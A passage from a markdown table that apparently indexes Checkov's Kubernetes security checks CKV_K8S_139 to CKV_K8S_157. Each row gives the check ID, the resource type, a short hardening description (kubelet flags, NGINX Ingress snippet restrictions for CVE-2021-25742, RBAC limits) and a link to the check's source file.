[KubeletAuthorizationModeNotAlwaysAllow.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletAuthorizationModeNotAlwaysAllow.py) | | 788 | CKV_K8S_139 | resource | ReplicaSet | Ensure that the --authorization-mode argument is not set to AlwaysAllow | Kubernetes | [KubeletAuthorizationModeNotAlwaysAllow.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletAuthorizationModeNotAlwaysAllow.py) | | 789 | CKV_K8S_139 | resource | ReplicationController | Ensure that the --authorization-mode argument is not set to AlwaysAllow | Kubernetes | [KubeletAuthorizationModeNotAlwaysAllow.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletAuthorizationModeNotAlwaysAllow.py) | | 790 | CKV_K8S_139 | resource | StatefulSet | Ensure that the --authorization-mode argument is not set to AlwaysAllow | Kubernetes | [KubeletAuthorizationModeNotAlwaysAllow.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletAuthorizationModeNotAlwaysAllow.py) | | 791 | CKV_K8S_140 | resource | CronJob | Ensure that the --client-ca-file argument is set as appropriate | Kubernetes | [KubeletClientCa.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletClientCa.py) | | 792 | CKV_K8S_140 | resource | DaemonSet | Ensure that the --client-ca-file argument is set as appropriate | Kubernetes | [KubeletClientCa.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletClientCa.py) | | 793 | CKV_K8S_140 | resource | Deployment | Ensure that the --client-ca-file argument is set as appropriate | Kubernetes | [KubeletClientCa.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletClientCa.py) | | 794 | CKV_K8S_140 | resource | DeploymentConfig | Ensure that the --client-ca-file argument is set as appropriate | Kubernetes | [KubeletClientCa.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletClientCa.py) | | 795 | CKV_K8S_140 | resource | Job | Ensure that the --client-ca-file argument is set as appropriate | Kubernetes | [KubeletClientCa.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletClientCa.py) | | 796 | CKV_K8S_140 | resource | Pod | Ensure that the --client-ca-file argument is set as appropriate | Kubernetes | [KubeletClientCa.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletClientCa.py) | | 797 | CKV_K8S_140 | resource | PodTemplate | Ensure that the --client-ca-file argument is set as appropriate | Kubernetes | [KubeletClientCa.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletClientCa.py) | | 798 | CKV_K8S_140 | resource | ReplicaSet | Ensure that the --client-ca-file argument is set as appropriate | Kubernetes | [KubeletClientCa.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletClientCa.py) | | 799 | CKV_K8S_140 | resource | ReplicationController | Ensure that the --client-ca-file argument is set as appropriate | Kubernetes | [KubeletClientCa.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletClientCa.py) | | 800 | CKV_K8S_140 | resource | StatefulSet | Ensure that the --client-ca-file argument is set as appropriate | Kubernetes | [KubeletClientCa.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletClientCa.py) | | 801 | CKV_K8S_141 | resource | CronJob | Ensure that the --read-only-port argument is set to 0 | Kubernetes | [KubeletReadOnlyPort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletReadOnlyPort.py) | | 802 | CKV_K8S_141 | resource | DaemonSet | Ensure that the --read-only-port argument is set to 0 | Kubernetes | [KubeletReadOnlyPort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletReadOnlyPort.py) | | 803 | CKV_K8S_141 | resource | Deployment | Ensure that the --read-only-port argument is set to 0 | Kubernetes | [KubeletReadOnlyPort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletReadOnlyPort.py) | | 804 | CKV_K8S_141 | resource | DeploymentConfig | Ensure that the --read-only-port argument is set to 0 | Kubernetes | [KubeletReadOnlyPort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletReadOnlyPort.py) | | 805 | CKV_K8S_141 | resource | Job | Ensure that the --read-only-port argument is set to 0 | Kubernetes | [KubeletReadOnlyPort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletReadOnlyPort.py) | | 806 | CKV_K8S_141 | resource | Pod | Ensure that the --read-only-port argument is set to 0 | Kubernetes | [KubeletReadOnlyPort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletReadOnlyPort.py) | | 807 | CKV_K8S_141 | resource | PodTemplate | Ensure that the --read-only-port argument is set to 0 | Kubernetes | [KubeletReadOnlyPort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletReadOnlyPort.py) | | 808 | CKV_K8S_141 | resource | ReplicaSet | Ensure that the --read-only-port argument is set to 0 | Kubernetes | [KubeletReadOnlyPort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletReadOnlyPort.py) | | 809 | CKV_K8S_141 | resource | ReplicationController | Ensure that the --read-only-port argument is set to 0 | Kubernetes | [KubeletReadOnlyPort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletReadOnlyPort.py) | | 810 | CKV_K8S_141 | resource | StatefulSet | Ensure that the --read-only-port argument is set to 0 | Kubernetes | [KubeletReadOnlyPort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletReadOnlyPort.py) | | 811 | CKV_K8S_143 | resource | CronJob | Ensure that the --streaming-connection-idle-timeout argument is not set to 0 | Kubernetes | [KubeletStreamingConnectionIdleTimeout.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletStreamingConnectionIdleTimeout.py) | | 812 | CKV_K8S_143 | resource | DaemonSet | Ensure that the --streaming-connection-idle-timeout argument is not set to 0 | Kubernetes | [KubeletStreamingConnectionIdleTimeout.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletStreamingConnectionIdleTimeout.py) | | 813 | CKV_K8S_143 | resource | Deployment | Ensure that the --streaming-connection-idle-timeout argument is not set to 0 | Kubernetes | [KubeletStreamingConnectionIdleTimeout.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletStreamingConnectionIdleTimeout.py) | | 814 | CKV_K8S_143 | resource | DeploymentConfig | Ensure that the --streaming-connection-idle-timeout argument is not set to 0 | Kubernetes | [KubeletStreamingConnectionIdleTimeout.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletStreamingConnectionIdleTimeout.py) | | 815 | CKV_K8S_143 | resource | Job | Ensure that the --streaming-connection-idle-timeout argument is not set to 0 | Kubernetes | [KubeletStreamingConnectionIdleTimeout.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletStreamingConnectionIdleTimeout.py) | | 816 | CKV_K8S_143 | resource | Pod | Ensure that the --streaming-connection-idle-timeout argument is not set to 0 | Kubernetes | [KubeletStreamingConnectionIdleTimeout.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletStreamingConnectionIdleTimeout.py) | | 817 | CKV_K8S_143 | resource | PodTemplate | Ensure that the --streaming-connection-idle-timeout argument is not set to 0 | Kubernetes | [KubeletStreamingConnectionIdleTimeout.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletStreamingConnectionIdleTimeout.py) | | 818 | CKV_K8S_143 | resource | ReplicaSet | Ensure that the --streaming-connection-idle-timeout argument is not set to 0 | Kubernetes | [KubeletStreamingConnectionIdleTimeout.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletStreamingConnectionIdleTimeout.py) | | 819 | CKV_K8S_143 | resource | ReplicationController | Ensure that the --streaming-connection-idle-timeout argument is not set to 0 | Kubernetes | [KubeletStreamingConnectionIdleTimeout.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletStreamingConnectionIdleTimeout.py) | | 820 | CKV_K8S_143 | resource | StatefulSet | Ensure that the --streaming-connection-idle-timeout argument is not set to 0 | Kubernetes | [KubeletStreamingConnectionIdleTimeout.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletStreamingConnectionIdleTimeout.py) | | 821 | CKV_K8S_144 | resource | CronJob | Ensure that the --protect-kernel-defaults argument is set to true | Kubernetes | [KubeletProtectKernelDefaults.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletProtectKernelDefaults.py) | | 822 | CKV_K8S_144 | resource | DaemonSet | Ensure that the --protect-kernel-defaults argument is set to true | Kubernetes | [KubeletProtectKernelDefaults.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletProtectKernelDefaults.py) | | 823 | CKV_K8S_144 | resource | Deployment | Ensure that the --protect-kernel-defaults argument is set to true | Kubernetes | [KubeletProtectKernelDefaults.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletProtectKernelDefaults.py) | | 824 | CKV_K8S_144 | resource | DeploymentConfig | Ensure that the --protect-kernel-defaults argument is set to true | Kubernetes | [KubeletProtectKernelDefaults.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletProtectKernelDefaults.py) | | 825 | CKV_K8S_144 | resource | Job | Ensure that the --protect-kernel-defaults argument is set to true | Kubernetes | [KubeletProtectKernelDefaults.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletProtectKernelDefaults.py) | | 826 | CKV_K8S_144 | resource | Pod | Ensure that the --protect-kernel-defaults argument is set to true | Kubernetes | [KubeletProtectKernelDefaults.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletProtectKernelDefaults.py) | | 827 | CKV_K8S_144 | resource | PodTemplate | Ensure that the --protect-kernel-defaults argument is set to true | Kubernetes | [KubeletProtectKernelDefaults.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletProtectKernelDefaults.py) | | 828 | CKV_K8S_144 | resource | ReplicaSet | Ensure that the --protect-kernel-defaults argument is set to true | Kubernetes | [KubeletProtectKernelDefaults.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletProtectKernelDefaults.py) | | 829 | CKV_K8S_144 | resource | ReplicationController | Ensure that the --protect-kernel-defaults argument is set to true | Kubernetes | [KubeletProtectKernelDefaults.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletProtectKernelDefaults.py) | | 830 | CKV_K8S_144 | resource | StatefulSet | Ensure that the --protect-kernel-defaults argument is set to true | Kubernetes | [KubeletProtectKernelDefaults.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletProtectKernelDefaults.py) | | 831 | CKV_K8S_145 | resource | CronJob | Ensure that the --make-iptables-util-chains argument is set to true | Kubernetes | [KubeletMakeIptablesUtilChains.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletMakeIptablesUtilChains.py) | | 832 | CKV_K8S_145 | resource | DaemonSet | Ensure that the --make-iptables-util-chains argument is set to true | Kubernetes | [KubeletMakeIptablesUtilChains.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletMakeIptablesUtilChains.py) | | 833 | CKV_K8S_145 | resource | Deployment | Ensure that the --make-iptables-util-chains argument is set to true | Kubernetes | [KubeletMakeIptablesUtilChains.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletMakeIptablesUtilChains.py) | | 834 | CKV_K8S_145 | resource | DeploymentConfig | Ensure that the --make-iptables-util-chains argument is set to true | Kubernetes | [KubeletMakeIptablesUtilChains.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletMakeIptablesUtilChains.py) | | 835 | CKV_K8S_145 | resource | Job | Ensure that the --make-iptables-util-chains argument is set to true | Kubernetes | [KubeletMakeIptablesUtilChains.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletMakeIptablesUtilChains.py) | | 836 | CKV_K8S_145 | resource | Pod | Ensure that the --make-iptables-util-chains argument is set to true | Kubernetes | [KubeletMakeIptablesUtilChains.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletMakeIptablesUtilChains.py) | | 837 | CKV_K8S_145 | resource | PodTemplate | Ensure that the --make-iptables-util-chains argument is set to true | Kubernetes | [KubeletMakeIptablesUtilChains.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletMakeIptablesUtilChains.py) | | 838 | CKV_K8S_145 | resource | ReplicaSet | Ensure that the --make-iptables-util-chains argument is set to true | Kubernetes | [KubeletMakeIptablesUtilChains.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletMakeIptablesUtilChains.py) | | 839 | CKV_K8S_145 | resource | ReplicationController | Ensure that the --make-iptables-util-chains argument is set to true | Kubernetes | [KubeletMakeIptablesUtilChains.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletMakeIptablesUtilChains.py) | | 840 | CKV_K8S_145 | resource | StatefulSet | Ensure that the --make-iptables-util-chains argument is set to true | Kubernetes | [KubeletMakeIptablesUtilChains.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletMakeIptablesUtilChains.py) | | 841 | CKV_K8S_146 | resource | CronJob | Ensure that the --hostname-override argument is not set | Kubernetes | [KubeletHostnameOverride.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletHostnameOverride.py) | | 842 | CKV_K8S_146 | resource | DaemonSet | Ensure that the --hostname-override argument is not set | Kubernetes | [KubeletHostnameOverride.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletHostnameOverride.py) | | 843 | CKV_K8S_146 | resource | Deployment | Ensure that the --hostname-override argument is not set | Kubernetes | [KubeletHostnameOverride.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletHostnameOverride.py) | | 844 | CKV_K8S_146 | resource | DeploymentConfig | Ensure that the --hostname-override argument is not set | Kubernetes | [KubeletHostnameOverride.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletHostnameOverride.py) | | 845 | CKV_K8S_146 | resource | Job | Ensure that the --hostname-override argument is not set | Kubernetes | [KubeletHostnameOverride.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletHostnameOverride.py) | | 846 | CKV_K8S_146 | resource | Pod | Ensure that the --hostname-override argument is not set | Kubernetes | [KubeletHostnameOverride.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletHostnameOverride.py) | | 847 | CKV_K8S_146 | resource | PodTemplate | Ensure that the --hostname-override argument is not set | Kubernetes | [KubeletHostnameOverride.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletHostnameOverride.py) | | 848 | CKV_K8S_146 | resource | ReplicaSet | Ensure that the --hostname-override argument is not set | Kubernetes | [KubeletHostnameOverride.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletHostnameOverride.py) | | 849 | CKV_K8S_146 | resource | ReplicationController | Ensure that the --hostname-override argument is not set | Kubernetes | [KubeletHostnameOverride.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletHostnameOverride.py) | | 850 | CKV_K8S_146 | resource | StatefulSet | Ensure that the --hostname-override argument is not set | Kubernetes | [KubeletHostnameOverride.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletHostnameOverride.py) | | 851 | CKV_K8S_147 | resource | CronJob | Ensure that the --event-qps argument is set to 0 or a level which ensures appropriate event capture | Kubernetes | [KubletEventCapture.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubletEventCapture.py) | | 852 | CKV_K8S_147 | resource | DaemonSet | Ensure that the --event-qps argument is set to 0 or a level which ensures appropriate event capture | Kubernetes | [KubletEventCapture.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubletEventCapture.py) | | 853 | CKV_K8S_147 | resource | Deployment | Ensure that the --event-qps argument is set to 0 or a level which ensures appropriate event capture | Kubernetes | [KubletEventCapture.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubletEventCapture.py) | | 854 | CKV_K8S_147 | resource | DeploymentConfig | Ensure that the --event-qps argument is set to 0 or a level which ensures appropriate event capture | Kubernetes | [KubletEventCapture.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubletEventCapture.py) | | 855 | CKV_K8S_147 | resource | Job | Ensure that the --event-qps argument is set to 0 or a level which ensures appropriate event capture | Kubernetes | [KubletEventCapture.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubletEventCapture.py) | | 856 | CKV_K8S_147 | resource | Pod | Ensure that the --event-qps argument is set to 0 or a level which ensures appropriate event capture | Kubernetes | [KubletEventCapture.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubletEventCapture.py) | | 857 | CKV_K8S_147 | resource | PodTemplate | Ensure that the --event-qps argument is set to 0 or a level which ensures appropriate event capture | Kubernetes | [KubletEventCapture.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubletEventCapture.py) | | 858 | CKV_K8S_147 | resource | ReplicaSet | Ensure that the --event-qps argument is set to 0 or a level which ensures appropriate event capture | Kubernetes | [KubletEventCapture.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubletEventCapture.py) | | 859 | CKV_K8S_147 | resource | ReplicationController | Ensure that the --event-qps argument is set to 0 or a level which ensures appropriate event capture | Kubernetes | [KubletEventCapture.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubletEventCapture.py) | | 860 | CKV_K8S_147 | resource | StatefulSet | Ensure that the --event-qps argument is set to 0 or a level which ensures appropriate event capture | Kubernetes | [KubletEventCapture.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubletEventCapture.py) | | 861 | CKV_K8S_148 | resource | CronJob | Ensure that the --tls-cert-file and --tls-private-key-file arguments are set as appropriate | Kubernetes | [KubeletKeyFilesSetAppropriate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletKeyFilesSetAppropriate.py) | | 862 | CKV_K8S_148 | resource | DaemonSet | Ensure that the --tls-cert-file and --tls-private-key-file arguments are set as appropriate | Kubernetes | [KubeletKeyFilesSetAppropriate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletKeyFilesSetAppropriate.py) | | 863 | CKV_K8S_148 | resource | Deployment | Ensure that the --tls-cert-file and --tls-private-key-file arguments are set as appropriate | Kubernetes | [KubeletKeyFilesSetAppropriate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletKeyFilesSetAppropriate.py) | | 864 | CKV_K8S_148 | resource | DeploymentConfig | Ensure that the --tls-cert-file and --tls-private-key-file arguments are set as appropriate | Kubernetes | [KubeletKeyFilesSetAppropriate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletKeyFilesSetAppropriate.py) | | 865 | CKV_K8S_148 | resource | Job | Ensure that the --tls-cert-file and --tls-private-key-file arguments are set as appropriate | Kubernetes | [KubeletKeyFilesSetAppropriate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletKeyFilesSetAppropriate.py) | | 866 | CKV_K8S_148 | resource | Pod | Ensure that the --tls-cert-file and --tls-private-key-file arguments are set as appropriate | Kubernetes | [KubeletKeyFilesSetAppropriate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletKeyFilesSetAppropriate.py) | | 867 | CKV_K8S_148 | resource | PodTemplate | Ensure that the --tls-cert-file and --tls-private-key-file arguments are set as appropriate | Kubernetes | [KubeletKeyFilesSetAppropriate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletKeyFilesSetAppropriate.py) | | 868 | CKV_K8S_148 | resource | ReplicaSet | Ensure that the --tls-cert-file and --tls-private-key-file arguments are set as appropriate | Kubernetes | [KubeletKeyFilesSetAppropriate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletKeyFilesSetAppropriate.py) | | 869 | CKV_K8S_148 | resource | ReplicationController | Ensure that the --tls-cert-file and --tls-private-key-file arguments are set as appropriate | Kubernetes | [KubeletKeyFilesSetAppropriate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletKeyFilesSetAppropriate.py) | | 870 | CKV_K8S_148 | resource | StatefulSet | Ensure that the --tls-cert-file and --tls-private-key-file arguments are set as appropriate | Kubernetes | [KubeletKeyFilesSetAppropriate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletKeyFilesSetAppropriate.py) | | 871 | CKV_K8S_149 | resource | CronJob | Ensure that the --rotate-certificates argument is not set to false | Kubernetes | [KubletRotateCertificates.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubletRotateCertificates.py) | | 872 | CKV_K8S_149 | resource | DaemonSet | Ensure that the --rotate-certificates argument is not set to false | Kubernetes | [KubletRotateCertificates.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubletRotateCertificates.py) | | 873 | CKV_K8S_149 | resource | Deployment | Ensure that the --rotate-certificates argument is not set to false | Kubernetes | [KubletRotateCertificates.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubletRotateCertificates.py) | | 874 | CKV_K8S_149 | resource | DeploymentConfig | Ensure that the --rotate-certificates argument is not set to false | Kubernetes | [KubletRotateCertificates.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubletRotateCertificates.py) | | 875 | CKV_K8S_149 | resource | Job | Ensure that the --rotate-certificates argument is not set to false | Kubernetes | [KubletRotateCertificates.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubletRotateCertificates.py) | | 876 | CKV_K8S_149 | resource | Pod | Ensure that the --rotate-certificates argument is not set to false | Kubernetes | [KubletRotateCertificates.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubletRotateCertificates.py) | | 877 | CKV_K8S_149 | resource | PodTemplate | Ensure that the --rotate-certificates argument is not set to false | Kubernetes | [KubletRotateCertificates.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubletRotateCertificates.py) | | 878 | CKV_K8S_149 | resource | ReplicaSet | Ensure that the --rotate-certificates argument is not set to false | Kubernetes | [KubletRotateCertificates.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubletRotateCertificates.py) | | 879 | CKV_K8S_149 | resource | ReplicationController | Ensure that the --rotate-certificates argument is not set to false | Kubernetes | [KubletRotateCertificates.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubletRotateCertificates.py) | | 880 | CKV_K8S_149 | resource | StatefulSet | Ensure that the --rotate-certificates argument is not set to false | Kubernetes | [KubletRotateCertificates.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubletRotateCertificates.py) | | 881 | CKV_K8S_151 | resource | CronJob | Ensure that the Kubelet only makes use of Strong Cryptographic Ciphers | Kubernetes | [KubeletCryptographicCiphers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletCryptographicCiphers.py) | | 882 | CKV_K8S_151 | resource | DaemonSet | Ensure that the Kubelet only makes use of Strong Cryptographic Ciphers | Kubernetes | [KubeletCryptographicCiphers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletCryptographicCiphers.py) | | 883 | CKV_K8S_151 | resource | Deployment | Ensure that the Kubelet only makes use of Strong Cryptographic Ciphers | Kubernetes | [KubeletCryptographicCiphers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletCryptographicCiphers.py) | | 884 | CKV_K8S_151 | resource | DeploymentConfig | Ensure that the Kubelet only makes use of Strong Cryptographic Ciphers | Kubernetes | [KubeletCryptographicCiphers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletCryptographicCiphers.py) | | 885 | CKV_K8S_151 | resource | Job | Ensure that the Kubelet only makes use of Strong Cryptographic Ciphers | Kubernetes | [KubeletCryptographicCiphers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletCryptographicCiphers.py) | | 886 | CKV_K8S_151 | resource | Pod | Ensure that the Kubelet only makes use of Strong Cryptographic Ciphers | Kubernetes | [KubeletCryptographicCiphers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletCryptographicCiphers.py) | | 887 | CKV_K8S_151 | resource | PodTemplate | Ensure that the Kubelet only makes use of Strong Cryptographic Ciphers | Kubernetes | [KubeletCryptographicCiphers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletCryptographicCiphers.py) | | 888 | CKV_K8S_151 | resource | ReplicaSet | Ensure that the Kubelet only makes use of Strong Cryptographic Ciphers | Kubernetes | [KubeletCryptographicCiphers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletCryptographicCiphers.py) | | 889 | CKV_K8S_151 | resource | ReplicationController | Ensure that the Kubelet only makes use of Strong Cryptographic Ciphers | Kubernetes | [KubeletCryptographicCiphers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletCryptographicCiphers.py) | | 890 | CKV_K8S_151 | resource | StatefulSet | Ensure that the Kubelet only makes use of Strong Cryptographic Ciphers | Kubernetes | [KubeletCryptographicCiphers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletCryptographicCiphers.py) | | 891 | CKV_K8S_152 | resource | Ingress | Prevent NGINX Ingress annotation snippets which contain LUA code execution. See CVE-2021-25742 | Kubernetes | [NginxIngressCVE202125742Lua.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/NginxIngressCVE202125742Lua.py) | | 892 | CKV_K8S_153 | resource | Ingress | Prevent All NGINX Ingress annotation snippets. See CVE-2021-25742 | Kubernetes | [NginxIngressCVE202125742AllSnippets.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/NginxIngressCVE202125742AllSnippets.py) | | 893 | CKV_K8S_154 | resource | Ingress | Prevent NGINX Ingress annotation snippets which contain alias statements See CVE-2021-25742 | Kubernetes | [NginxIngressCVE202125742Alias.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/NginxIngressCVE202125742Alias.py) | | 894 | CKV_K8S_155 | resource | ClusterRole | Minimize ClusterRoles that grant control over validating or mutating admission webhook configurations | Kubernetes | [RbacControlWebhooks.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/RbacControlWebhooks.py) | | 895 | CKV_K8S_156 | resource | ClusterRole | Minimize ClusterRoles that grant permissions to approve CertificateSigningRequests | Kubernetes | [RbacApproveCertificateSigningRequests.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/RbacApproveCertificateSigningRequests.py) | | 896 | CKV_K8S_157 | resource | ClusterRole | Minimize Roles and ClusterRoles that grant permissions to bind RoleBindings or ClusterRoleBindings | Kubernetes | [RbacBindRoleBindings.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/RbacBindRoleBindings.py) | | 897 | CKV_K8S_157 | resource | Role | Minimize Roles and ClusterRoles that grant permissions to bind RoleBindings or 